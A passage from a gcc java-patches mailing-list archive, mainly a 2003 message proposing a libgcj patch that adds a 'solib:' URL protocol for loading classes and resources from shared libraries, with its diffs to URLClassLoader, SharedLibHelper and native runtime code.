(ffi_cif*, void*, ffi_raw*, void*); static void run_synch_object (ffi_cif*, void*, ffi_raw*, void*); + static void run_class (ffi_cif*, void*, ffi_raw*, void*); static void run_synch_class (ffi_cif*, void*, ffi_raw*, void*); void run (void*, ffi_raw *); From java-patches-return-5895-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 21:11:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21754 invoked by alias); 24 Jan 2003 21:11:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21746 invoked from network); 24 Jan 2003 21:11:49 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Jan 2003 21:11:49 -0000 Received: from fleche.redhat.com (tq0214.peakpeak.com [207.174.177.214]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA01259; Fri, 24 Jan 2003 14:11:43 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 3077E4F8073; Fri, 24 Jan 2003 14:06:47 -0700 (MST) To: Java Patch List Subject: Patch: RFA: solib URLs From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Oh, FISH sticks, CHEEZ WHIZ, GIN fizz, SHOW BIZ!! Date: 24 Jan 2003 14:06:46 -0700 Message-ID: <87lm1a9s0p.fsf@fleche.redhat.com> Lines: 1117 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm submitting this patch for general review and comment. I'm planning to eventually check it in on the trunk, but since it is big and unusual I thought I'd get some feedback first. This patch does several related things: * Adds a new `solib:' URL protocol handler. A URL of this form is somewhat like a `file:' URL, but the handler loads the file as a shared library. It is also somewhat like a `jar:' URL, in that something of the form `solib:/path/to/libfoo.so!/some/other/path' is used to look up resources in that shared library. * Changes the `--resource' runtime code to register new resources via a hook. Now resources coming from a shared library are associated with that library. * Changes URLClassLoader to have some special support for solib: URLs. For instance, findResource now works with resources loaded from a shared library. Also, the ProtectionDomain and hence CodeSource fields of loaded classes will be correctly set. (Unfortunately this means our URLClassLoader will diverge a bit from the Classpath implementation.) * Changes SharedLibLoader to use the new support code. I think we should deprecate SharedLibLoader, but this patch doesn't do that. The motivation behind this patch is that I wanted to be able to have an application semi-transparently search shared libraries for code. For instance, an application that finds .jar files at runtime could be modified to search for .so files instead, and rewrite the URLs it generates. Or, you could change a program that loads .jar files to invoke gcj and then put a solib: URL into a new class loader. There are some oddities in the support. For instance, a solib: resource URL will fail if the corresponding class loader is no longer around. I didn't see a good way around this; it is important that a given shared library be associated with a particular class loader, so simply reopening the library in this case wouldn't be correct. A couple of the new files are simply appended at the end. I didn't want to prematurely make a new directory in cvs. Tom Index: ChangeLog from Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (ordinary_java_source_files): Added new files. * java/lang/Class.h (_Jv_sharedlib_register_hook): Declare as friend. * java/net/URLClassLoader.java (findClass): Don't use findURLResource. Use loader's getClass method. (URLLoader.getClass): New method. (addURL): Handle `solib' URLs. (SoURLLoader): New class. (SoResource): Likewise. * gnu/gcj/protocol/solib/Connection.java: New file. * gnu/gcj/protocol/solib/Handler.java: New file. * include/jvm.h (struct _Jv_core_chain): Moved from natCore.cc. (_Jv_RegisterCoreHook): Declare. (_Jv_find_core): Declare. * gnu/gcj/runtime/SharedLibHelper.java: New file. * gnu/gcj/runtime/natSharedLibLoader.cc (CoreHookFunc): New typedef. (core_hook): New function. (struct SharedLibDummy) [saved_core]: New field. (init): Set _Jv_RegisterCoreHook. Throw exception on failure. (register_hook): Set protection domain and class loader on new class. * gnu/gcj/Core.java (Core): New constructor. * gnu/gcj/runtime/SharedLibLoader.java: Rewrote to use SharedLibHelper. * gnu/gcj/natCore.cc (_Jv_RegisterResource): Indentation fixlet. (_Jv_create_core): New function. (create): Use it. (default_register_resource): New function. (_Jv_RegisterCoreHook): New global. (_Jv_RegisterResource): Use it. (core_chain_struct): Removed. (_Jv_find_core): New function. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.269 diff -u -r1.269 Makefile.am --- Makefile.am 20 Jan 2003 06:46:26 -0000 1.269 +++ Makefile.am 24 Jan 2003 20:43:02 -0000 @@ -1779,12 +1779,15 @@ gnu/gcj/protocol/http/Handler.java \ gnu/gcj/protocol/jar/Connection.java \ gnu/gcj/protocol/jar/Handler.java \ +gnu/gcj/protocol/solib/Connection.java \ +gnu/gcj/protocol/solib/Handler.java \ gnu/gcj/runtime/FileDeleter.java \ gnu/gcj/runtime/FinalizerThread.java \ gnu/gcj/runtime/FirstThread.java \ gnu/gcj/runtime/JNIWeakRef.java \ gnu/gcj/runtime/MethodRef.java \ gnu/gcj/runtime/NameFinder.java \ +gnu/gcj/runtime/SharedLibHelper.java \ gnu/gcj/runtime/SharedLibLoader.java \ gnu/gcj/runtime/StackTrace.java \ gnu/gcj/runtime/StringBuffer.java \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.289 diff -u -r1.289 Makefile.in --- Makefile.in 20 Jan 2003 06:46:27 -0000 1.289 +++ Makefile.in 24 Jan 2003 20:43:06 -0000 @@ -1531,12 +1531,15 @@ gnu/gcj/protocol/http/Handler.java \ gnu/gcj/protocol/jar/Connection.java \ gnu/gcj/protocol/jar/Handler.java \ +gnu/gcj/protocol/solib/Connection.java \ +gnu/gcj/protocol/solib/Handler.java \ gnu/gcj/runtime/FileDeleter.java \ gnu/gcj/runtime/FinalizerThread.java \ gnu/gcj/runtime/FirstThread.java \ gnu/gcj/runtime/JNIWeakRef.java \ gnu/gcj/runtime/MethodRef.java \ gnu/gcj/runtime/NameFinder.java \ +gnu/gcj/runtime/SharedLibHelper.java \ gnu/gcj/runtime/SharedLibLoader.java \ gnu/gcj/runtime/StackTrace.java \ gnu/gcj/runtime/StringBuffer.java \ @@ -2405,10 +2408,13 @@ .deps/gnu/gcj/protocol/http/Handler.P \ .deps/gnu/gcj/protocol/jar/Connection.P \ .deps/gnu/gcj/protocol/jar/Handler.P \ +.deps/gnu/gcj/protocol/solib/Connection.P \ +.deps/gnu/gcj/protocol/solib/Handler.P \ .deps/gnu/gcj/runtime/FileDeleter.P \ .deps/gnu/gcj/runtime/FinalizerThread.P \ .deps/gnu/gcj/runtime/FirstThread.P .deps/gnu/gcj/runtime/JNIWeakRef.P \ .deps/gnu/gcj/runtime/MethodRef.P .deps/gnu/gcj/runtime/NameFinder.P \ +.deps/gnu/gcj/runtime/SharedLibHelper.P \ .deps/gnu/gcj/runtime/SharedLibLoader.P \ .deps/gnu/gcj/runtime/StackTrace.P .deps/gnu/gcj/runtime/StringBuffer.P \ .deps/gnu/gcj/runtime/VMClassLoader.P \ Index: gnu/gcj/Core.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/Core.java,v retrieving revision 1.1 diff -u -r1.1 Core.java --- gnu/gcj/Core.java 6 Sep 2001 22:32:53 -0000 1.1 +++ gnu/gcj/Core.java 24 Jan 2003 20:43:11 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 2001 Free Software Foundation +/* Copyright (C) 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -14,5 +14,8 @@ public RawData ptr; public int length; -} + Core () + { + } +} Index: gnu/gcj/natCore.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/natCore.cc,v retrieving revision 1.2 diff -u -r1.2 natCore.cc --- gnu/gcj/natCore.cc 24 Apr 2002 23:05:17 -0000 1.2 +++ gnu/gcj/natCore.cc 24 Jan 2003 20:43:11 -0000 @@ -1,6 +1,6 @@ // natCore -- C++ side of Core -/* Copyright (C) 2001, 2002 Free Software Foundation +/* Copyright (C) 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -21,40 +21,41 @@ #include #include -typedef struct core_chain_struct +// List of global core values. +static _Jv_core_chain *root; + +static void +default_register_resource (_Jv_core_chain *node) { - int name_length; - const char *name; - int data_length; - const void *data; - - struct core_chain_struct *next; -} core_chain; + node->next = root; + root = node; +} -static core_chain *root; +// This is set only when a lock is held on java.lang.Class. +// This function is called to handle a new core node. +void (*_Jv_RegisterCoreHook) (_Jv_core_chain *) = default_register_resource; -void _Jv_RegisterResource (void *vptr) +void +_Jv_RegisterResource (void *vptr) { - char *rptr = (char *)vptr; + char *rptr = (char *) vptr; // These are permanent data structures for now. This routine is // called from a static constructor, so we shouldn't depend on too // much existing infrastructure. - core_chain *cc = (core_chain *) _Jv_Malloc (sizeof (core_chain)); + _Jv_core_chain *cc = (_Jv_core_chain *) _Jv_Malloc (sizeof (_Jv_core_chain)); cc->name_length = ((int *)rptr)[0]; cc->data_length = ((int *)rptr)[1]; - cc->name = rptr + 2*sizeof(int); + cc->name = rptr + 2 * sizeof (int); cc->data = cc->name + cc->name_length; + cc->next = NULL; - // Add this new item to the chain... - core_chain *old_root = root; - cc->next = old_root; - root = cc; + (*_Jv_RegisterCoreHook) (cc); } -gnu::gcj::Core * -gnu::gcj::Core::create (jstring name) +_Jv_core_chain * +_Jv_find_core (_Jv_core_chain *node, jstring name) { char *buf = (char *) __builtin_alloca (JvGetStringUTFLength (name) + 1); jsize total = JvGetStringUTFRegion (name, 0, name->length(), buf); @@ -68,23 +69,38 @@ --total; } - core_chain *node = root; - while (node) { if (total == node->name_length && strncmp (buf, node->name, total) == 0) - { - gnu::gcj::Core *core = - (gnu::gcj::Core *) _Jv_AllocObject(&gnu::gcj::Core::class$, - sizeof (gnu::gcj::Core)); - core->ptr = (gnu::gcj::RawData *) node->data; - core->length = node->data_length; - return core; - } - else - node = node->next; + return node; + node = node->next; } - throw new java::io::IOException (JvNewStringLatin1 ("can't open core")); + return NULL; +} + +gnu::gcj::Core * +_Jv_create_core (_Jv_core_chain *node, jstring name) +{ + node = _Jv_find_core (node, name); + + gnu::gcj::Core *core = NULL; + if (node) + { + core = (gnu::gcj::Core *) _Jv_AllocObject(&gnu::gcj::Core::class$, + sizeof (gnu::gcj::Core)); + core->ptr = (gnu::gcj::RawData *) node->data; + core->length = node->data_length; + } + return core; +} + +gnu::gcj::Core * +gnu::gcj::Core::create (jstring name) +{ + gnu::gcj::Core *core = _Jv_create_core (root, name); + if (core == NULL) + throw new java::io::IOException (JvNewStringLatin1 ("can't open core")); + return core; } Index: gnu/gcj/protocol/core/Connection.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/protocol/core/Connection.java,v retrieving revision 1.2 diff -u -r1.2 Connection.java --- gnu/gcj/protocol/core/Connection.java 23 Aug 2002 04:54:02 -0000 1.2 +++ gnu/gcj/protocol/core/Connection.java 24 Jan 2003 20:43:11 -0000 @@ -1,6 +1,6 @@ // Connection.java - Implementation of URLConnection for core protocol. -/* Copyright (C) 2001 Free Software Foundation +/* Copyright (C) 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -55,7 +55,7 @@ if (! doInput) throw new ProtocolException("Can't open InputStream if doInput is false"); - return new BufferedInputStream(new CoreInputStream (core)); + return new CoreInputStream (core); } // Override default method in URLConnection. Index: gnu/gcj/runtime/SharedLibHelper.java =================================================================== RCS file: gnu/gcj/runtime/SharedLibHelper.java diff -N gnu/gcj/runtime/SharedLibHelper.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/gcj/runtime/SharedLibHelper.java 24 Jan 2003 20:46:57 -0000 @@ -0,0 +1,144 @@ +/* Copyright (C) 2001, 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +package gnu.gcj.runtime; +import java.lang.ref.WeakReference; +import java.net.URL; +import java.net.MalformedURLException; +import java.util.HashMap; +import java.security.*; +import gnu.gcj.Core; + +public class SharedLibHelper +{ + /** Load a shared library, and associate a ClassLoader with it. + * @param libname named of shared library (passed to dlopen) + * @param parent the parent ClassLoader + * @parem flags passed to dlopen + */ + SharedLibHelper(String libname, ClassLoader parent, CodeSource source, + int flags) + { + // FIXME: ask security manager first. + loader = parent; + baseName = libname; + domain = new ProtectionDomain(source, + Policy.getPolicy().getPermissions(source)); + this.flags = flags; + } + + public static SharedLibHelper findHelper (String libname) + { + synchronized (map) + { + WeakReference ref = (WeakReference) map.get(libname); + if (ref != null) + return (SharedLibHelper) ref.get(); + return null; + } + } + + public static SharedLibHelper findHelper (ClassLoader loader, String libname, + CodeSource source) + { + synchronized (map) + { + SharedLibHelper result; + WeakReference ref = (WeakReference) map.get(libname); + if (ref != null) + { + result = (SharedLibHelper) ref.get(); + if (result != null) + { + if (result.loader != loader) + // FIXME + throw new UnknownError(); + return result; + } + } + + result = new SharedLibHelper(libname, loader, source, 0); + map.put(libname, new WeakReference(result)); + return result; + } + } + + public native void finalize (); + + public Class findClass(String name) + { + ensureInit(); + return (Class) classMap.get(name); + } + + public URL findResource (String name) + { + ensureInit(); + if (! hasResource(name)) + return null; + try + { + return new URL("solib", "", -1, baseName + "!/" + name); + } + catch (MalformedURLException _) + { + } + return null; + } + + public native Core findCore (String name); + + void ensureInit() + { + synchronized (classMap) + { + if (initialized) + return; + init(); + initialized = true; + } + } + + native boolean hasResource(String name); + native void init(); + + /** Called during dlopen's processing of the init section. */ + void registerClass(String name, Class cls) + { + classMap.put(name, cls); + } + + /** The handle returned by dlopen. */ + gnu.gcj.RawData handler; + + /** Holds a _Jv_core_chain for the loader. */ + gnu.gcj.RawData core_chain; + + /** Map classnames to Classes. */ + HashMap classMap = new HashMap(20); + + /** Class loader we're helping. */ + ClassLoader loader; + + /** Name of base file. */ + String baseName; + + /** Protection domain for loaded classes. */ + ProtectionDomain domain; + + /** Flags to pass to dlopen. FIXME: platform dependent. + 0 is always "sensible" (defined by us). */ + int flags; + + /** True if we've been initialized. */ + boolean initialized = false; + + /** Map shared library names to a helper object. This uses weak + references in the values so we don't prevent collection. */ + static HashMap map = new HashMap (); +} Index: gnu/gcj/runtime/SharedLibLoader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/runtime/SharedLibLoader.java,v retrieving revision 1.1 diff -u -r1.1 SharedLibLoader.java --- gnu/gcj/runtime/SharedLibLoader.java 29 Sep 2001 19:16:26 -0000 1.1 +++ gnu/gcj/runtime/SharedLibLoader.java 24 Jan 2003 20:43:11 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 2001 Free Software Foundation +/* Copyright (C) 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -7,7 +7,12 @@ details. */ package gnu.gcj.runtime; -import java.util.Hashtable; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; +import java.security.CodeSource; +import java.util.Enumeration; +import java.util.Vector; /** * A ClassLoader backed by a gcj-compiled shared library. @@ -16,14 +21,6 @@ public class SharedLibLoader extends ClassLoader { - public native void finalize (); - - /** Called during dlopen's processing of the init section. */ - void registerClass(String name, Class cls) - { - classMap.put(name, cls); - } - /** Load a shared library, and associate a ClassLoader with it. * @param libname named of shared library (passed to dlopen) * @param parent the parent ClassLoader @@ -32,44 +29,51 @@ public SharedLibLoader(String libname, ClassLoader parent, int flags) { super(parent); - init(libname, flags); + URL url; + try + { + url = new URL("file", "", libname); + } + catch (MalformedURLException _) + { + url = null; + } + helper = SharedLibHelper.findHelper(this, libname, + new CodeSource(url, null)); } - /** Load a shared library, and asociate a ClassLoader with it. * @param libname named of shared library (passed to dlopen) */ public SharedLibLoader(String libname) { - super(getSystemClassLoader()); - init(libname, 0); + this(libname, getSystemClassLoader(), 0); } - void init(String libname, int flags) + public Class findClass(String name) + throws ClassNotFoundException { - init(libname.getBytes(), flags); + Class cls = helper.findClass(name); + if (cls == null) + throw new ClassNotFoundException(name); + return cls; } - native void init(byte[] libname, int flags); - - public Class loadClass(String name) - throws ClassNotFoundException + public URL findResource (String name) { - return super.loadClass(name); + return helper.findResource(name); } - public Class findClass(String name) - throws ClassNotFoundException + public Enumeration findResources (String name) throws IOException { - Object cls = classMap.get(name); - if (cls == null) - throw new ClassNotFoundException(name); - return (Class) cls; + URL url = findResource(name); + if (url == null) + return null; + Vector v = new Vector(1); + v.add(url); + return v.elements(); } - /** The handle returned by dlopen. */ - gnu.gcj.RawData handler; - - /** Map classnames to Classes. */ - Hashtable classMap = new Hashtable(20); + /** The helper that does the work for us. */ + SharedLibHelper helper; } Index: gnu/gcj/runtime/natSharedLibLoader.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/runtime/natSharedLibLoader.cc,v retrieving revision 1.2 diff -u -r1.2 natSharedLibLoader.cc --- gnu/gcj/runtime/natSharedLibLoader.cc 24 Oct 2001 07:00:19 -0000 1.2 +++ gnu/gcj/runtime/natSharedLibLoader.cc 24 Jan 2003 20:43:11 -0000 @@ -1,6 +1,6 @@ -// natSharedLibLoader.cc - Implementation of FirstThread native methods. +// natSharedLibLoader.cc - Implementation of SharedLibHelper native methods. -/* Copyright (C) 2001 Free Software Foundation +/* Copyright (C) 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -11,64 +11,111 @@ #include #include -#include +#include +#include #include #include +#include #ifdef HAVE_DLOPEN #include /* Only used during dlopen, while having a lock on Class.class. */ -static gnu::gcj::runtime::SharedLibLoader* curLoader; +static java::lang::ClassLoader *curLoader; +static gnu::gcj::runtime::SharedLibHelper *curHelper; typedef void (*ClassHookFunc) (jclass); +typedef void (*CoreHookFunc) (_Jv_core_chain *); + +void +_Jv_sharedlib_register_hook (jclass cls) +{ + curHelper->registerClass(cls->getName(), cls); + cls->protectionDomain = curHelper->domain; + cls->loader = curLoader; +} static void -::register_hook(jclass cls) +core_hook (_Jv_core_chain *chain) { - curLoader->registerClass(cls->getName(), cls); + chain->next = (_Jv_core_chain *) curHelper->core_chain; + curHelper->core_chain = (gnu::gcj::RawData *) chain; } struct SharedLibDummy { ClassHookFunc saved; + CoreHookFunc saved_core; SharedLibDummy() { saved = _Jv_RegisterClassHook; + saved_core = _Jv_RegisterCoreHook; } ~SharedLibDummy() { _Jv_RegisterClassHook = saved; + _Jv_RegisterCoreHook = saved_core; curLoader = NULL; } }; #endif void -gnu::gcj::runtime::SharedLibLoader::init(jbyteArray libname, jint flags) +gnu::gcj::runtime::SharedLibHelper::init(void) { #ifdef HAVE_DLOPEN - char *lname = (char*) elements(libname); + char *lname = (char *) __builtin_alloca (JvGetStringUTFLength (baseName) + + 1); + jsize total = JvGetStringUTFRegion (baseName, 0, baseName->length(), lname); + lname[total] = '\0'; + if (flags==0) - flags = RTLD_LAZY; + flags = RTLD_GLOBAL | RTLD_LAZY; JvSynchronize dummy1(&java::lang::Class::class$); SharedLibDummy dummy2; - curLoader = this; - _Jv_RegisterClassHook = ::register_hook; + curLoader = loader; + curHelper = this; + _Jv_RegisterClassHook = _Jv_sharedlib_register_hook; + _Jv_RegisterCoreHook = core_hook; void *h = dlopen(lname, flags); if (h == NULL) { const char *msg = dlerror(); + throw new java::lang::UnknownError(JvNewStringLatin1(msg)); } handler = (gnu::gcj::RawData*) h; #else - const char *msg = "ShareedLibLoader is not supported on this platform"; + const char *msg + = "shared library class loading is not supported on this platform"; throw new java::lang::UnsupportedOperationException(JvNewStringLatin1(msg)); #endif } +jboolean +gnu::gcj::runtime::SharedLibHelper::hasResource (jstring name) +{ +#ifdef HAVE_DLOPEN + _Jv_core_chain *node = _Jv_find_core ((_Jv_core_chain *) core_chain, name); + return node != NULL; +#else + return false; +#endif +} + +gnu::gcj::Core * +gnu::gcj::runtime::SharedLibHelper::findCore (jstring name) +{ +#ifdef HAVE_DLOPEN + extern gnu::gcj::Core *_Jv_create_core (_Jv_core_chain *node, jstring name); + ensureInit(); + return _Jv_create_core ((_Jv_core_chain *) core_chain, name); +#else + return NULL; +#endif +} + void -gnu::gcj::runtime::SharedLibLoader::finalize() +gnu::gcj::runtime::SharedLibHelper::finalize() { #ifdef HAVE_DLOPEN dlclose (handler); Index: include/jvm.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/jvm.h,v retrieving revision 1.53 diff -u -r1.53 jvm.h --- include/jvm.h 28 Dec 2002 06:38:52 -0000 1.53 +++ include/jvm.h 24 Jan 2003 20:43:12 -0000 @@ -1,6 +1,6 @@ // jvm.h - Header file for private implementation information. -*- c++ -*- -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -376,6 +376,21 @@ bool _Jv_VerifyClassName (_Jv_Utf8Const *name); bool _Jv_VerifyIdentifier (_Jv_Utf8Const *); bool _Jv_ClassNameSamePackage (_Jv_Utf8Const *name1, _Jv_Utf8Const *name2); + +struct _Jv_core_chain +{ + int name_length; + const char *name; + int data_length; + const void *data; + + struct _Jv_core_chain *next; +}; + +// This is called when new core data is loaded. +extern void (*_Jv_RegisterCoreHook) (_Jv_core_chain *); + +_Jv_core_chain *_Jv_find_core (_Jv_core_chain *node, jstring name); #ifdef ENABLE_JVMPI Index: java/lang/Class.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/Class.h,v retrieving revision 1.55 diff -u -r1.55 Class.h --- java/lang/Class.h 20 Jan 2003 06:46:28 -0000 1.55 +++ java/lang/Class.h 24 Jan 2003 20:43:13 -0000 @@ -366,6 +366,8 @@ friend class gnu::gcj::runtime::StackTrace; friend class java::io::VMObjectStreamClass; + friend void _Jv_sharedlib_register_hook (jclass klass); + // Chain for class pool. jclass next; // Name of class. Index: java/net/URLClassLoader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/URLClassLoader.java,v retrieving revision 1.13 diff -u -r1.13 URLClassLoader.java --- java/net/URLClassLoader.java 2 Jan 2003 09:34:34 -0000 1.13 +++ java/net/URLClassLoader.java 24 Jan 2003 20:43:16 -0000 @@ -1,5 +1,5 @@ /* URLClassLoader.java -- ClassLoader that loads classes from one or more URLs - Copyright (C) 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -61,6 +61,7 @@ import java.util.jar.JarFile; import java.util.jar.Manifest; import java.util.zip.ZipException; +import gnu.gcj.runtime.SharedLibHelper; /** * A secure class loader that can load classes and resources from @@ -196,6 +197,17 @@ } /** + * Returns a Class loaded by this + * URLLoader, or null when this loader + * either can't load the class or doesn't know how to load classes + * at all. + */ + Class getClass(String className) + { + return null; + } + + /** * Returns a Resource loaded by this * URLLoader, or null when no * Resource with the given name exists. @@ -284,7 +296,7 @@ { super(classloader, baseURL); - // cache url prefix for all resources in this jar url + // Cache url prefix for all resources in this jar url. String external = baseURL.toExternalForm(); StringBuffer sb = new StringBuffer(external.length() + 6); sb.append("jar:"); @@ -447,12 +459,12 @@ { return stream; } - + public int getLength() { return length; } - + public URL getURL() { return url; @@ -460,6 +472,63 @@ } /** + * A SoURLLoader is a type of URLLoader + * that loads classes and resources from a shared library. + */ + final static class SoURLLoader extends URLLoader + { + SharedLibHelper helper; + + SoURLLoader(URLClassLoader classloader, URL url) + { + super(classloader, url); + helper = SharedLibHelper.findHelper(classloader, url.getFile(), + noCertCodeSource); + } + + Class getClass(String className) + { + return helper.findClass(className); + } + + Resource getResource(String name) + { + URL url = helper.findResource(name); + if (url == null) + return null; + return new SoResource(this, name, url); + } + } + + final static class SoResource extends Resource + { + SoResource(SoURLLoader loader, String name, URL url) + { + super(loader, name); + this.url = url; + } + + InputStream getInputStream() throws IOException + { + URLConnection conn = url.openConnection(); + return conn.getInputStream(); + } + + public int getLength() + { + // FIXME we could find this by asking the core object. + return -1; + } + + public URL getURL () + { + return url; + } + + final URL url; + } + + /** * A FileURLLoader is a type of URLLoader * only loading from file url. */ @@ -643,7 +712,7 @@ // for cache initial size synchronized(factoryCache) { - if(factory != null && factoryCache.get(factory) == null) + if (factory != null && factoryCache.get(factory) == null) factoryCache.put(factory, new HashMap(5)); } } @@ -661,21 +730,24 @@ if (newUrl == null) return; // Silently ignore... - // check global cache to see if there're already url loader - // for this url + // Check global cache to see if there're already url loader + // for this url. URLLoader loader = (URLLoader)urlloaders.get(newUrl); if (loader == null) { String file = newUrl.getFile(); + String protocol = newUrl.getProtocol(); // Check that it is not a directory - if (! (file.endsWith("/") || file.endsWith(File.separator))) + if ("solib".equals(protocol)) + loader = new SoURLLoader(this, newUrl); + else if (! (file.endsWith("/") || file.endsWith(File.separator))) loader = new JarURLLoader(this, newUrl); - else if ("file".equals(newUrl.getProtocol())) + else if ("file".equals(protocol)) loader = new FileURLLoader(this, newUrl); else loader = new RemoteURLLoader(this, newUrl); - // cache it + // Cache it. urlloaders.put(newUrl, loader); } @@ -691,15 +763,15 @@ private void addURLs(URL[] newUrls) { for (int i = 0; i < newUrls.length; i++) - { - addURL(newUrls[i]); - } + { + addURL(newUrls[i]); + } } /** * Defines a Package based on the given name and the supplied manifest * information. The manifest indicates the tile, version and - * vendor information of the specification and implementation and wheter the + * vendor information of the specification and implementation and whether the * package is sealed. If the Manifest indicates that the package is sealed * then the Package will be sealed with respect to the supplied URL. * @@ -758,7 +830,20 @@ { // Just try to find the resource by the (almost) same name String resourceName = className.replace('.', '/') + ".class"; - Resource resource = findURLResource(resourceName); + int max = urls.size(); + Resource resource = null; + for (int i = 0; i < max && resource == null; i++) + { + URLLoader loader = (URLLoader)urlinfos.elementAt(i); + if (loader == null) + continue; + + Class k = loader.getClass(className); + if (k != null) + return k; + + resource = loader.getResource(resourceName); + } if (resource == null) throw new ClassNotFoundException(className + " not found in " + urls); @@ -901,12 +986,12 @@ URLStreamHandler handler; synchronized (factoryCache) { - // check if there're handler for the same protocol in cache + // Check if there're handler for the same protocol in cache. HashMap cache = (HashMap)factoryCache.get(factory); handler = (URLStreamHandler)cache.get(protocol); if(handler == null) { - // add it to cache + // Add it to cache. handler = factory.createURLStreamHandler(protocol); cache.put(protocol, handler); } @@ -965,23 +1050,23 @@ // First get the permissions that would normally be granted PermissionCollection permissions = super.getPermissions(source); - // Now add the any extra permissions depending on the URL location + // Now add any extra permissions depending on the URL location. URL url = source.getLocation(); String protocol = url.getProtocol(); if (protocol.equals("file")) { String file = url.getFile(); - // If the file end in / it must be an directory + // If the file end in / it must be an directory. if (file.endsWith("/") || file.endsWith(File.separator)) { // Grant permission to read everything in that directory and - // all subdirectories + // all subdirectories. permissions.add(new FilePermission(file + "-", "read")); } else { - // It is a 'normal' file - // Grant permission to access that file + // It is a 'normal' file. + // Grant permission to access that file. permissions.add(new FilePermission(file, "read")); } } // Connection.java - Implementation of URLConnection for solib // protocol. /* Copyright (C) 2003 Free Software Foundation This file is part of libgcj. This software is copyrighted work licensed under the terms of the Libgcj License. Please consult the file "LIBGCJ_LICENSE" for details. */ package gnu.gcj.protocol.solib; import java.io.*; import java.net.*; import gnu.gcj.Core; import gnu.gcj.protocol.core.CoreInputStream; import gnu.gcj.runtime.SharedLibHelper; /** * @author Tom Tromey * @date January 10, 2003 */ class Connection extends URLConnection { String solib; String name; Core core; public Connection (URL url) throws MalformedURLException { super (url); int index = url.getFile().indexOf("!/"); if (index == -1) throw new MalformedURLException("couldn't find !/ in solib URL"); name = url.getFile().substring(index + 2); solib = url.getFile().substring(0, index); } public void connect() throws IOException { if (core != null) return; // We can't create a new SharedLibHelper here, since we don't know // what parent class loader to use. SharedLibHelper helper = SharedLibHelper.findHelper(solib); if (helper == null) throw new IOException("solib not loaded: " + solib); core = helper.findCore(name); if (core == null) throw new IOException("couldn't find core object: " + name); } public InputStream getInputStream() throws IOException { connect(); return new CoreInputStream(core); } } // Handler.java - URLStreamHandler for solib protocol. /* Copyright (C) 2003 Free Software Foundation This file is part of libgcj. This software is copyrighted work licensed under the terms of the Libgcj License. Please consult the file "LIBGCJ_LICENSE" for details. */ package gnu.gcj.protocol.solib; import java.net.URL; import java.net.URLConnection; import java.net.URLStreamHandler; import java.io.IOException; public class Handler extends URLStreamHandler { protected URLConnection openConnection(URL url) throws IOException { return new Connection(url); } } From java-patches-return-5896-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 21:33:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6303 invoked by alias); 24 Jan 2003 21:33:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6290 invoked from network); 24 Jan 2003 21:33:09 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Jan 2003 21:33:09 -0000 Received: from fleche.redhat.com (tq0214.peakpeak.com [207.174.177.214]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA11976; Fri, 24 Jan 2003 14:33:07 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 789B14F8073; Fri, 24 Jan 2003 14:28:11 -0700 (MST) To: Oscar Pearce Cc: Java Patch List Subject: Re: Patch: RFC: PR 9125 References: <87vg0ip140.fsf@fleche.redhat.com> <1043190334.1466.29.camel@escape> <1043278669.21659.212.camel@katana> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: What UNIVERSE is this, please?? Date: 24 Jan 2003 14:28:11 -0700 In-Reply-To: <1043278669.21659.212.camel@katana> Message-ID: <87d6mm9r10.fsf@fleche.redhat.com> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 